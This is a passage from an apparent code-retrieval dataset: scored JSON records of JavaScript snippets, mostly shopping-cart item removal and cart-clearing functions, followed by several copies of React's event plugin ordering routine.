"b93c800a3217d4336f5f1db729f49286", "score": "0.6238931", "text": "function removeItem(event) {\r\n\r\n\r\n // set variable to the CartList Item Element that called the function using parents\r\n let delListItem = $(this).parent().parent();\r\n // get index of the element to be removed from the Cart from the Value property of the calling element\r\n let indexToRemove = parseInt($(this).attr(\"value\"));\r\n\r\n // get CartITems Array from session storage using JSON \r\n\r\n let arrCartItems = JSON.parse(sessionStorage.getItem(\"cartItems\"));\r\n\r\n // USe Splice to remove the item clicked using the index\r\n arrCartItems.splice(indexToRemove);\r\n\r\n // save cartItems array to Session Storage using JSON\r\n let JSONCartItems = JSON.stringify(arrCartItems);\r\n\r\n sessionStorage.setItem(\"cartItems\", JSONCartItems);\r\n // use animation to remove the item from the DOM visually\r\n delListItem.slideUp(1500);\r\n\r\n\r\n // update totals\r\n updateTotals();\r\n\r\n\r\n\r\n}", "title": "" }, { "docid": "564477f1994b037b13a04801290d070f", "score": "0.6226643", "text": "function clearCart() {\n\t//shoppingCartContent.innerHTML =' '\n\n\twhile (shoppingCartContent.firstChild) {\n\t\tshoppingCartContent.removeChild(shoppingCartContent.firstChild);\n\t}\n\tclearLocalStorage();\n}", "title": "" }, { "docid": "7fac8f590c9fc1a718d786d63ff4db4e", "score": "0.6226335", "text": "function clearCart() {\n if (cart !== 0) {\n var decision = confirm(\"Do you want to purchase these Items ?\");\n if (decision === true) {\n alert(\"We will deliver this items to your location. have a nice day\");\n cart = 0;\n var items = document.getElementById(\"cartItems\");\n items.innerHTML = cart;\n } else {\n alert(\"You can continoue shopping\");\n }\n } else {\n alert(\"You did not select any item yet !\");\n }\n}", "title": "" }, { "docid": "416fff9782eeeadb872b90ee007ea897", "score": "0.6225013", "text": "function minusONe(event) {\n let button = event.target;\n let shopItem = button.parentElement.parentElement;\n let shopId = shopItem.getAttribute(\"id\"); //get the ID of the shopItem\n let recParent = button.parentElement;\n let cinput = recParent.getElementsByClassName(\"shop-item-input\")[0];\n if (cinput.value > 1) {\n cinput.value--;\n }\n let locStore = JSON.parse(localStorage.getItem(\"selectedProduct\"));\n locStore.forEach((item) => {\n console.log(item.productID);\n if (item.productID === shopId) {\n //look for match with ID\n item.quantity = cinput.value;\n }\n });\n localStorage.setItem(\"selectedProduct\", JSON.stringify(locStore)); //put the object back\n let title = shopItem.getElementsByClassName(\"shop-item-title\")[0].innerText;\n let cartItems = document.getElementsByClassName(\"cart-items\")[0];\n let cartItemNames = cartItems.getElementsByClassName(\"cart-item-title\");\n let cartinput = cartItems.getElementsByClassName(\"cart-quantity-input\");\n //Now, when theere is a decrease in quantity in the menu list, it should also reflect in the quantity in the CART as well.\n for (let i = 0; i < cartItemNames.length; i++) {\n if (cartItemNames[i].innerText == title && cartinput[i].value > 1) {\n cartinput[i].value--;\n }\n }\n updateCartTotal();\n }", "title": "" }, { "docid": "270efde88ae48c193a4881b83fd9e25e", "score": "0.62180555", "text": "destroyCartProducts() {\n // Limpiamos localStorage\n localStorage.clear();\n\n // Limpiamos HTML del carrito\n destroyAllProductCart();\n destroytotalCart();\n\n const totalPage = document.getElementById(\"total-cart-page\");\n if (totalPage != null) {\n destroytotalCartPage();\n }\n\n const totalCheckout = document.getElementById(\"total-checkout-page\");\n if (totalCheckout != null) {\n destroytotalCheckoutPage();\n }\n\n // Actualizamos carrito\n updateAllProducts();\n\n // Notificamos\n let message = `Todos los productos fueron quitados del carrito.`;\n destroyCartNotification(message);\n\n // Actualizar pagina en 2.5s\n setInterval(\"location.reload()\", 2500);\n }", "title": "" }, { "docid": "80d723fb33eefb58ae844ecbb456e102", "score": "0.6217566", "text": "onCartItemDelete(id) {\n this.context.removeFromCart(id, () => {\n this.loadCart();\n });\n\n }", "title": "" }, { "docid": "7c93d840f12f1adf31cddfc614542c37", "score": "0.621359", "text": "function ready() {\n //for removing items\n //returns all elements with 'btn-danger' class name\n var removeCartItemButtons = document.getElementsByClassName('btn-danger')\n //loops through all of the 'btn-danger' buttons in the cart\n for (var i = 0; i < removeCartItemButtons.length; i++) {\n var button = removeCartItemButtons[i]\n //when button is clicked it removes item\n button.addEventListener('click', removeCartItem)\n }\n\n //for changing quantity\n //loops through cart-quantity-inputs and gets the value in that instance\n var quantityInputs = document.getElementsByClassName('cart-quantity-input')\n for (var i = 0; i < quantityInputs.length; i++) {\n var input = quantityInputs[i]\n input.addEventListener('change', quantityChanged)\n }\n\n //for adding items\n //loops through shop-item-button\n var addToCartButtons = document.getElementsByClassName('shop-item-button')\n for (var i = 0; i < addToCartButtons.length; i++) {\n var button = addToCartButtons[i]\n button.addEventListener('click', addToCartClicked)\n }\n\n //for purchasing items\n document.getElementsByClassName('btn-purchase')[0].addEventListener('click', purchaseClicked)\n\n //MODAL BOX\n // Get the modal\n var modal = document.getElementById(\"modalBox\");\n\n // Get the button that opens the modal\n var openModal = document.getElementsByClassName(\"shop-item-button\");\n\n\n // Get the <span> element that closes the modal\n var closeModal = document.getElementsByClassName(\"close\")[0];\n\n\n // When the user clicks the button, open the modal\n var i;\n for(i = 0; i < openModal.length; i++) openModal[i].onclick = function () {\n modal.style.display = \"block\";\n }\n\n // When the user clicks on <span> (x), close the modal\n closeModal.onclick = function() {\n modal.style.display = \"none\";\n }\n\n // When the user clicks anywhere outside of the modal, close it\n window.onclick = function(event) {\n if (event.target === modal) {\n modal.style.display = \"none\";\n }\n }\n\n //Get the button:\n topButton = document.getElementById(\"btn-top\");\n\n // When the user scrolls down 20px from the top of the document, show the button\n window.onscroll = function() {scrollFunction};\n\n}", "title": "" }, { "docid": "d05fcb91e08d0a829cd32198fea03af7", "score": "0.620956", "text": "deleteItems() {\n\t\tthis._removeStorage(inCartRovignetteKeyBridge);\n\t\tthis.setState({ itemsInCart: \"\" });\n\t\tthis.setState({ loading: false });\n\t}", "title": "" }, { "docid": "822e4e4885cdcdc1c56f5211bce6a189", "score": "0.6204695", "text": "function handleClearShoppingList() {\n //using the handleLocalStorage() wrapper passing in the action, and nameOfStorage\n handleLocalStorage(\"remove\", \"cart\");\n //and then update the shoppingList()\n cart && updateCart();\n setShoppingList();\n}", "title": "" }, { "docid": "ba2f447187209f1d745a00793bf4030a", "score": "0.6201773", "text": "function removeProductsfromCart(obj) { \n var cartId = parseInt(obj.closest('div.cart-item').attr('id').slice(-1)) ;\n delete cart_items[cartId];\n obj.parent().siblings().remove(); \n obj.parent().remove(); \n updateTotal();\n updateSpan();\n }", "title": "" }, { "docid": "e7ab79ff2ecc40089a96d7d85b0125ed", "score": "0.62016946", "text": "function l(a,b){a.innerText=\"Toegevoegd\",a.classList.add(\"added-to-cart\"),a.disabled=!1;var c=p.querySelectorAll(\".cart__item\");c.forEach(function(c){c.querySelector(\".cart__item__name\").innerText===b.name&&(c.querySelector(\"[data-action=\\\"INCREASE_ITEM\\\"]\").addEventListener(\"click\",function(){return g(b,c)}),c.querySelector(\"[data-action=\\\"DECREASE_ITEM\\\"]\").addEventListener(\"click\",function(){return f(b,c,a)}),c.querySelector(\"[data-action=\\\"REMOVE_ITEM\\\"]\").addEventListener(\"click\",function(){return h(b,c,a)}))})}", "title": "" }, { "docid": "4c84688804cf44265433e11135b0d155", "score": "0.61935776", "text": "function removeItem(clickedID) {\r\n\r\n //A function that removes an item from the cart when the user presses a specific button \r\n\r\n num = num - Number(cur[clickedID.charAt(4)].price);\r\n //Deducts the removed item price from the cost total in the cart \r\n $(\"#cDiv\" + clickedID.charAt(4)).remove();\r\n //Removes the removed items information from the cart div \r\n cur[clickedID.charAt(4)] = null;\r\n //Sets the removed items information to null so that identifying a removed item \r\n //is easier\r\n sessionStorage.setItem(\"sCart\", JSON.stringify(cur));\r\n sessionStorage.setItem(\"sTotal\", JSON.stringify(num));\r\n //Updates the sessionStorage with the new values of the removed items\r\n calculate();\r\n // Execution of the calculate function so that the values displayed \r\n //on the cart page ar constantly updated/refreshed\r\n}", "title": "" }, { "docid": "65c8fbfa9864227340b45bc38dc3c7a3", "score": "0.61916393", "text": "function addEventListeners() {\n let decreaseButtons = document.querySelectorAll('.decrease-btn');\n let increaseButtons = document.querySelectorAll('.increase-btn');\n let deleteButtons = document.querySelectorAll('.cart-item-delete');\n\n // EVENTLISTENERS FOR DECREASE BUTTONS\n decreaseButtons.forEach(button => {\n button.addEventListener('click', () => {\n decreaseCount(button.dataset.id);\n })\n })\n // EVENTLISTENERS FOR INCREASE BUTTONS\n increaseButtons.forEach(button => {\n button.addEventListener('click', () => {\n increaseCount(button.dataset.id);\n })\n })\n //EVENTLISTENERS FOR DELETE BUTTONS \n deleteButtons.forEach(button => {\n button.addEventListener('click', () => {\n deleteItem(button.dataset.id);\n })\n })\n\n}", "title": "" }, { "docid": "7b80b806d70bc6a6f6bab5cb41f93f5b", "score": "0.6189794", "text": "function decrement() {\r\n let productNames = document.getElementsByClassName(\"product\");\r\n let quantity = document.getElementsByClassName(\"quantity\");\r\n let productNum = localStorage.getItem(\"cartNum\")\r\n let cartItems = JSON.parse(localStorage.getItem(\"productsInCart\"));\r\n let subTotal = parseFloat(localStorage.getItem(\"subTotal\"));\r\n\r\n for (let i = 0;i<productNames.length;i++)\r\n {\r\n quantity[i].onclick = function() {\r\n let item = productNames[i].textContent.trim(); \r\n let numOfItem = parseInt(cartItems[item].inCart)-1;\r\n productNum = parseInt(productNum) - 1;\r\n let subtractTotal = parseFloat(cartItems[item].price);\r\n console.log(subtractTotal);\r\n console.log(subTotal);\r\n subTotal = subTotal-subtractTotal;\r\n calculateTotal(subTotal);\r\n if (numOfItem == 0)\r\n {\r\n delete cartItems[item];\r\n }\r\n else {\r\n cartItems[item].inCart = numOfItem;\r\n }\r\n \r\n\r\n localStorage.setItem(\"productsInCart\", JSON.stringify(cartItems))\r\n\r\n localStorage.setItem(\"cartNum\",productNum);\r\n\r\n displayCart();\r\n\r\n setCartNum();\r\n \r\n \r\n }\r\n }\r\n}", "title": "" }, { "docid": "d23ef8dcf8aaa8a011dd045260b2b1ca", "score": "0.6186798", "text": "function updateShopCart(e) {\n const ID = this.dataset.id;\n const OPTION = this.dataset.option;\n const QUANTITY = this.dataset.quantity;\n const PRICE = this.dataset.price;\n const CARD_CONTAINER = e.target.closest('.card');\n updateProductsPrice(parseInt(PRICE), parseInt(QUANTITY));\n calculAmountOrder();\n removeNbOfItems(QUANTITY);\n removeFromShopCart(ID, OPTION);\n CARD_CONTAINER.remove();\n}", "title": "" }, { "docid": "039c0569e9aaff91ec1b0e25f8c4cbe5", "score": "0.61854553", "text": "function removeButtons(){\n \n let removeButtons = document.getElementsByClassName('fa-trash');\n let productNumbers = localStorage.getItem('productNumbers');\n let productCost = localStorage.getItem('totalPrice')\n productCost = parseInt(productCost);\n let productItems = localStorage.getItem('productsAdded');\n productItems = JSON.parse(productItems);\n let productName;\n\n for (let i = 0; i < removeButtons.length; i++){\n removeButtons[i].addEventListener('click', () => {\n productName = removeButtons[i].parentElement.textContent.trim();\n localStorage.setItem('productNumbers', productNumbers - productItems[productName].quantity);\n localStorage.setItem('totalPrice', productCost - (productItems[productName].price * productItems[productName].quantity));\n\n delete productItems[productName];\n localStorage.setItem('productsAdded', JSON.stringify(productItems));\n\n startCart();\n productAddedNumbers();\n \n });\n }\n}", "title": "" }, { "docid": "372326b6ccb0a3cc6ce22c18b0211af1", "score": "0.6177312", "text": "function showCart() {\n let container = document.querySelector(\".cart\");\n container.innerHTML = \"\";\n cart = JSON.parse(mystorage.getItem(\"cart\"));\n cart.forEach((item) => {\n container.innerHTML += `\n \n <div>\n <h3 class=\"product-name\">${item.product_name}</h3>\n <h3 class=\"product-price\">${item.price}</h3>\n <button onclick=\"remove(${item.product_id})\" class=\"remove-btn text-bold\">Remove from Cart</button>\n <button onclick=\"calcuTotal(${item.product_id})\" class=\"remove-btn text-bold\"></button>\n </div>\n `;\n });\n}", "title": "" }, { "docid": "5dfc0ef33cd5fcf65e2dd7a2837dec7f", "score": "0.6173426", "text": "function removeFromCart() {\n shoppingCart.pop(\"100% Solid Wood Box&nbsp;&nbsp;&nbsp;&nbsp;$79.99\")\n if(totalPrice > 0) {\n totalPrice -= 79.99; //prevent a negative total price\n }\n \n if (shoppingCart.length > 0) { // showed all the items in the cart and the quantity\n document.getElementById(\"summary\").innerHTML= shoppingCart[0] + \"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\" + shoppingCart.length;\n } else {\n document.getElementById(\"summary\").innerHTML=\"No items in your cart.\"\n }\n\n document.getElementById(\"total\").innerHTML=\"Total: $\" + Math.abs(totalPrice.toFixed(2));\n document.getElementById(\"notif\").innerHTML=shoppingCart.length;\n}", "title": "" }, { "docid": "8b2f1c60c2eda7540d9206b98210ba81", "score": "0.6172283", "text": "function removeItem(e) {\n // Get the product id in the cart's table.\n let id = e.currentTarget.parentElement.parentElement.firstElementChild.innerText;\n let product = products[id];\n // Update local storage variables and parse JSON file.\n let productsQuantity = localStorage.getItem('cartCounter');\n let cartCost = localStorage.getItem('totalCost');\n let productsInCart = localStorage.getItem('productsInCart'); \n productsInCart = JSON.parse(productsInCart);\n\n // Remove item from cart if there is at least one.\n if (productsQuantity > 0 && productsInCart[product.id].inCart > 0) {\n // Remove one unit from cartCounter in localStorage. \n localStorage.setItem('cartCounter', productsQuantity - 1);\n // Remove one unit from the cart counter on the index page.\n document.querySelector('.cart .items-counter').textContent = productsQuantity - 1;\n // If there is at least one same type of product, remove one from inCart. \n productsInCart[product.id].inCart = parseInt(productsInCart[product.id].inCart) - 1; \n \n // Delete item from productsInCart if inCart property equals 0. \n if(productsInCart[product.id].inCart == 0){ \n delete productsInCart[product.id];\n } \n \n // Convert into JSON.\n localStorage.setItem('productsInCart', JSON.stringify(productsInCart));\n\n // Manage the total.\n if (cartCost != null) { \n cartCost = parseFloat(cartCost);\n cartCost -= parseFloat(product.price);\n cartCost = cartCost.toFixed(2);\n localStorage.setItem('totalCost', cartCost);\n }\n\n // Remove variable productsInCart from localStorage.\n if (productsQuantity == 1) { \n localStorage.clear();\n } \n \n }\n // Refresh cart.\n displayCart();\n}", "title": "" }, { "docid": "c901e5f2f56bdfa4d302b3131920ae5b", "score": "0.616875", "text": "function resetCart() {\n localStorage.removeItem(\"productsInCart\");\n localStorage.removeItem(\"totalCost\");\n //localStorage.removeItem(\"cartCounter\");\n\n // Reset counter variable in local storage and its display.\n localStorage.setItem('cartCounter', 0);\n document.querySelector('.cart .items-counter').textContent = 0;\n // Refresh cart.\n displayCart();\n}", "title": "" }, { "docid": "fd659699c42b3014ff2bf4b424434cf2", "score": "0.61683637", "text": "poppulateCart(cart){\r\n cart.forEach(item => this.addCartItem(item));\r\n }", "title": "" }, { "docid": "6f538303300ace0c98dad4fd5c7c7bc1", "score": "0.616345", "text": "removeItem() {\n this.cart-=1;\n }", "title": "" }, { "docid": "e2b2e69eacb65226f549da26dea1fc85", "score": "0.6163039", "text": "function clear() {\n _cart.data = {};\n}", "title": "" }, { "docid": "a43d8eb01ded1d922fde2539033d54e9", "score": "0.6157637", "text": "async decreaseItemsInCartWithOne(e) {\n const numberOfItemsNode = e.target.nextElementSibling;\n const oldNrOfItems = parseInt(numberOfItemsNode.textContent);\n\n /* This if statement makes sure that the minimum amount of items in the cart is 1. If the users wants to delete all items they has to click on the trashcan */\n if (oldNrOfItems === 1) { return; }\n\n numberOfItemsNode.textContent = oldNrOfItems - 1;\n\n super.removeFromCart(e.target.dataset.productId);\n await super.countCost(e.target.dataset.productId, \"-\");\n }", "title": "" }, { "docid": "4d16c47aed56826f59badbae6ad6f8b7", "score": "0.61553645", "text": "function clearCart() {\r\n if (confirm(\"Do you wish to empty your cart?\")) {\r\n cartSize = 0;\r\n quantity = 0;\r\n document.getElementById(\"cartamount\").innerHTML = cartSize;\r\n document.getElementById(\"cartamount\").style.color = 'black';\r\n cartArray = [];\r\n specialityPizzaArray = [];\r\n sidesArray = [];\r\n customPizzaArray = [];\r\n document.getElementById(\"invoice\").innerHTML = \"\";\r\n totalPrice = 0;\r\n size = \"\";\r\n sauce = \"\";\r\n clearChoice(document.querySelectorAll(\".size\"));\r\n clearChoice(document.querySelectorAll(\".sauce\"));\r\n clearChoice(document.querySelectorAll(\".topping\"));\r\n } \r\n}", "title": "" }, { "docid": "5e7f743f5e3f0d73b5901329a2f9e16a", "score": "0.6147882", "text": "function cleanCart() {\n cart.products = [];\n localStorage.setItem('cart', JSON.stringify(cart));\n //clean view\n setCartChangeCounter();\n}", "title": "" }, { "docid": "cbff66b3ee21c4f59996c18c7ed35524", "score": "0.6141499", "text": "setUpInitialCart() {\n cart = Storage.getCart();\n this.setCartValues(cart);\n this.populateCart(cart);\n cartBtn.addEventListener('click', this.showCart);\n closeCartBtn.addEventListener('click', this.hideCart);\n }", "title": "" }, { "docid": "72adb6cbc5961d6f2dd4a11f1128bf74", "score": "0.61195123", "text": "function onRemoveSingleProduct() {\n var $cart_item = $(this).prev(shopAnalytics.cart.elements.product);\n shopAnalytics.updateCartItemsQuantity($cart_item);\n removeProductsFromCart($cart_item);\n }", "title": "" }, { "docid": "af9efe608a001fee9565fc93714ca559", "score": "0.61120224", "text": "removeItem(event) {\n\n const cartArray = cart.getItems(); // Get data from localStorage \n \n // Get the Id & the color of the clicked item\n const getTargetId = event.target.parentElement.id;\n const teddyColor = event.target.parentElement.querySelector(\".selected-color\").textContent;\n \n // Get Teddy by Id in CartArray\n const teddyIndex = cartArray.findIndex((element) => element._id === getTargetId); \n let teddyById = cartArray[teddyIndex];\n let teddyQtyObject = teddyById.quantity;\n\n delete teddyQtyObject[teddyColor]; // Delete this Teddy's pair [color: quantity]\n localStorage.setItem(\"cartArray\", JSON.stringify(cartArray)); // Store the hole thing into LS\n event.target.parentElement.classList.add(\"translateY_-100\"); // Move <div> up before remove \n cart.updateTotalQty(); // Update number of items in the cart\n cart.updateTotalPrice(); // Update total price in the cart\n\n setTimeout(() => {\n event.target.parentElement.parentElement.remove(); // Totally remove the html content after delay\n \n // If last this Teddy by color is remove\n if(!Object.keys(teddyQtyObject).length) {\n cartArray.splice(teddyIndex, 1); // Delete \"Teddy object\" at this index\n localStorage.setItem(\"cartArray\", JSON.stringify(cartArray)); \n }\n }, 400);\n }", "title": "" }, { "docid": "5bd41467e2ed2f7ed0267384e395930b", "score": "0.61112314", "text": "function resetAddToCartToButton() {\n const cartItems = getCartItems();\n cartItems.forEach(item => {\n $(`#quantity_${item.product_id}`).val(1);\n const button = $(`#add_to_cart_button_${item.product_id}`);\n button.html('<i class=\"fa fa-cart-plus\"></i> ');\n button.removeClass(\"btn-warning\");\n button.addClass(\"btn-primary\");\n button.attr(\"onclick\", `addToCart(${item.product_id})`);\n });\n}", "title": "" }, { "docid": "ce302ae08a0194b4e365b96032151f69", "score": "0.61110944", "text": "function purchaseClicked() {\r\n let timestamp = new Date().getUTCMilliseconds();\r\n alert('Thank you for your purchase. ' + 'Your order number is ' + timestamp)\r\n let cartItems = document.getElementsByClassName('cart-items')[0]\r\n while (cartItems.hasChildNodes()) {\r\n cartItems.removeChild(cartItems.firstChild)\r\n }\r\n updateCartTotal()\r\n}", "title": "" } ]
a09484bd1db6e61f49ce2bf9ba1155f6
Recomputes the plugin list using the injected plugins and plugin ordering.
[ { "docid": "f07dc80d3d3a7a1936edf2e9fed1b176", "score": "0.0", "text": "function recomputePluginOrdering() {\n\t if (!eventPluginOrder) {\n\t // Wait until an `eventPluginOrder` is injected.\n\t return;\n\t }\n\t for (var pluginName in namesToPlugins) {\n\t var pluginModule = namesToPlugins[pluginName];\n\t var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\t !(pluginIndex > -1) ? process.env.NODE_ENV !== 'production' ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : _prodInvariant('96', pluginName) : void 0;\n\t if (EventPluginRegistry.plugins[pluginIndex]) {\n\t continue;\n\t }\n\t !pluginModule.extractEvents ? process.env.NODE_ENV !== 'production' ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : _prodInvariant('97', pluginName) : void 0;\n\t EventPluginRegistry.plugins[pluginIndex] = pluginModule;\n\t var publishedEvents = pluginModule.eventTypes;\n\t for (var eventName in publishedEvents) {\n\t !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? process.env.NODE_ENV !== 'production' ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : _prodInvariant('98', eventName, pluginName) : void 0;\n\t }\n\t }\n\t}", "title": "" } ]
[ { "docid": "ba5567c34810f09c90215e1f679ca6ed", "score": "0.77578306", "text": "sort() {\r\n this.list = [];\r\n for (let plugin of PLUGIN_ORDER) {\r\n if (this.plugins[plugin]) {\r\n this.list.push(this.plugins[plugin]);\r\n }\r\n }\r\n }", "title": "" }, { "docid": "44667242351b8fb3b3515fb1062deea6", "score": "0.7160474", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n (function () {\n if (!(pluginIndex > -1)) {\n {\n throw ReactError(Error('EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `' + pluginName + '`.'));\n }\n }\n })();\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n (function () {\n if (!pluginModule.extractEvents) {\n {\n throw ReactError(Error('EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `' + pluginName + '` does not.'));\n }\n }\n })();\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n (function () {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw ReactError(Error('EventPluginRegistry: Failed to publish event `' + eventName + '` for plugin `' + pluginName + '`.'));\n }\n }\n })();\n }\n }\n }", "title": "" }, { "docid": "44667242351b8fb3b3515fb1062deea6", "score": "0.7160474", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n (function () {\n if (!(pluginIndex > -1)) {\n {\n throw ReactError(Error('EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `' + pluginName + '`.'));\n }\n }\n })();\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n (function () {\n if (!pluginModule.extractEvents) {\n {\n throw ReactError(Error('EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `' + pluginName + '` does not.'));\n }\n }\n })();\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n (function () {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw ReactError(Error('EventPluginRegistry: Failed to publish event `' + eventName + '` for plugin `' + pluginName + '`.'));\n }\n }\n })();\n }\n }\n }", "title": "" }, { "docid": "1436e0f26f830b803aa9737dbdf98bc1", "score": "0.71361053", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);if(!(pluginIndex>-1)){{throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\"+pluginName+\"`.\");}}if(plugins[pluginIndex]){continue;}if(!pluginModule.extractEvents){{throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\"+pluginName+\"` does not.\");}}plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){if(!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)){{throw Error(\"EventPluginRegistry: Failed to publish event `\"+eventName+\"` for plugin `\"+pluginName+\"`.\");}}}}}", "title": "" }, { "docid": "1436e0f26f830b803aa9737dbdf98bc1", "score": "0.71361053", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);if(!(pluginIndex>-1)){{throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\"+pluginName+\"`.\");}}if(plugins[pluginIndex]){continue;}if(!pluginModule.extractEvents){{throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\"+pluginName+\"` does not.\");}}plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){if(!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)){{throw Error(\"EventPluginRegistry: Failed to publish event `\"+eventName+\"` for plugin `\"+pluginName+\"`.\");}}}}}", "title": "" }, { "docid": "1436e0f26f830b803aa9737dbdf98bc1", "score": "0.71361053", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);if(!(pluginIndex>-1)){{throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\"+pluginName+\"`.\");}}if(plugins[pluginIndex]){continue;}if(!pluginModule.extractEvents){{throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\"+pluginName+\"` does not.\");}}plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){if(!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)){{throw Error(\"EventPluginRegistry: Failed to publish event `\"+eventName+\"` for plugin `\"+pluginName+\"`.\");}}}}}", "title": "" }, { "docid": "61c06953026793e4e5151b9700cb831f", "score": "0.71187073", "text": "function recomputePluginOrdering() {\n\t if (!eventPluginOrder) {\n\t // Wait until an `eventPluginOrder` is injected.\n\t return;\n\t }\n\t for (var pluginName in namesToPlugins) {\n\t var pluginModule = namesToPlugins[pluginName];\n\t var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\t !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\t if (plugins[pluginIndex]) {\n\t continue;\n\t }\n\t !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n\t plugins[pluginIndex] = pluginModule;\n\t var publishedEvents = pluginModule.eventTypes;\n\t for (var eventName in publishedEvents) {\n\t !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "61c06953026793e4e5151b9700cb831f", "score": "0.71187073", "text": "function recomputePluginOrdering() {\n\t if (!eventPluginOrder) {\n\t // Wait until an `eventPluginOrder` is injected.\n\t return;\n\t }\n\t for (var pluginName in namesToPlugins) {\n\t var pluginModule = namesToPlugins[pluginName];\n\t var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\t !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\t if (plugins[pluginIndex]) {\n\t continue;\n\t }\n\t !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n\t plugins[pluginIndex] = pluginModule;\n\t var publishedEvents = pluginModule.eventTypes;\n\t for (var eventName in publishedEvents) {\n\t !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "61c06953026793e4e5151b9700cb831f", "score": "0.71187073", "text": "function recomputePluginOrdering() {\n\t if (!eventPluginOrder) {\n\t // Wait until an `eventPluginOrder` is injected.\n\t return;\n\t }\n\t for (var pluginName in namesToPlugins) {\n\t var pluginModule = namesToPlugins[pluginName];\n\t var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\t !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\t if (plugins[pluginIndex]) {\n\t continue;\n\t }\n\t !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n\t plugins[pluginIndex] = pluginModule;\n\t var publishedEvents = pluginModule.eventTypes;\n\t for (var eventName in publishedEvents) {\n\t !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "61c06953026793e4e5151b9700cb831f", "score": "0.71187073", "text": "function recomputePluginOrdering() {\n\t if (!eventPluginOrder) {\n\t // Wait until an `eventPluginOrder` is injected.\n\t return;\n\t }\n\t for (var pluginName in namesToPlugins) {\n\t var pluginModule = namesToPlugins[pluginName];\n\t var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\t !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\t if 